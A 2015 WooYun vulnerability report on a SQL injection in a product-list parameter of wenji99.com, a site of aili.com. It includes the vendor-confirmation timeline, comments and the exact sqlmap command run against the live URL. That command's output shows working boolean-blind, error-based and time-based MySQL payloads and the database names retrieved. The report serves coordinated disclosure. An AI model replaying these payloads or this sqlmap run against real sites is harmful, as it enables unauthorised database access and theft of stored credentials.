当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0164647

漏洞标题:爱丽旗下某站存在注入漏洞(DBA)

相关厂商:aili.com

漏洞作者: 心云

提交时间:2015-12-27 17:07

修复时间:2016-02-09 23:29

公开时间:2016-02-09 23:29

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-27: 细节已通知厂商并且等待厂商处理中
2015-12-28: 厂商已经确认,细节仅向厂商公开
2016-01-07: 细节向核心白帽子及相关领域专家公开
2016-01-17: 细节向普通白帽子公开
2016-01-27: 细节向实习白帽子公开
2016-02-09: 细节向公众公开

简要描述:

听说爱丽网是乌云发礼物最多的厂商,我就来了

详细说明:

貌似网站挂了。。。。。。
注入点:

http://www.wenji99.com/?m=product&s=list&brand=%E6%83%A0%E6%99%AEHP&brand_id=623


python sqlmap.py -u "http://www.wenji99.com/?m=product&s=list&brand=%E6%83%A0%E6%99%AEHP&brand_id=623" --dbs


it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[14:16:40] [INFO] GET parameter 'brand' seems to be 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable
[14:16:40] [INFO] GET parameter 'brand' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable
[14:16:57] [INFO] GET parameter 'brand' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable
GET parameter 'brand' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 850 HTTP(s) requests:
---
Parameter: brand (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: m=product&s=list&brand=%E6%83%A0%E6%99%AEHP' RLIKE (SELECT (CASE WHEN (1900=1900) THEN 0x2545362538332541302545362539392541454850 ELSE 0x28 END)) AND 'Ppcc'='Ppcc&brand_id=623
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: m=product&s=list&brand=%E6%83%A0%E6%99%AEHP' AND (SELECT 7915 FROM(SELECT COUNT(*),CONCAT(0x716b707a71,(SELECT (ELT(7915=7915,1))),0x716a767171,FLOOR(RAND(0)*2))x FROM INFORMATION_S
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: m=product&s=list&brand=%E6%83%A0%E6%99%AEHP' AND (SELECT * FROM (SELECT(SLEEP(5)))pTQH) AND 'opmk'='opmk&brand_id=623
---
[14:22:04] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.3, Nginx
back-end DBMS: MySQL 5.0
[14:22:04] [INFO] fetching database names
[14:22:12] [INFO] the SQL query used returns 3 entries
[14:22:14] [INFO] retrieved: information_schema
[14:22:17] [INFO] retrieved: mysql
[14:22:18] [INFO] retrieved: wenji
available databases [3]:
[*] information_schema
[*] mysql
[*] wenji


漏洞证明:

数据库 而且是dba

dba-3个库.png


主库 599张表

wenji-599张表.png


密码信息

数据库用户密码.png


修复方案:

求不忽略

版权声明:转载请注明来源 心云@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-12-28 14:08

厂商回复:

这个站洞洞多的史无前例

最新状态:

暂无


漏洞评价:

评价

  1. 2015-12-27 19:26 | socket ( 实习白帽子 | Rank:38 漏洞数:14 | )

    真勤奋,你周末都不带出去耍的么

  2. 2015-12-27 19:38 | 心云 ( 普通白帽子 | Rank:184 漏洞数:57 | Rank:200 漏洞数:55 | Rank:300 漏洞数:70 ...)

    @socket 哈哈哈 出去不好玩啊

  3. 2015-12-28 14:10 | 心云 ( 普通白帽子 | Rank:184 漏洞数:57 | Rank:200 漏洞数:55 | Rank:300 漏洞数:70 ...)

    @aili.com 既然都知道洞洞多 怎么不修复呀。。。有没有小礼物 哈哈哈

  4. 2016-01-06 11:17 | 糖剩七颗 ( 普通白帽子 | Rank:649 漏洞数:87 | 天涯何处无屌丝)

    送了什么礼物啊?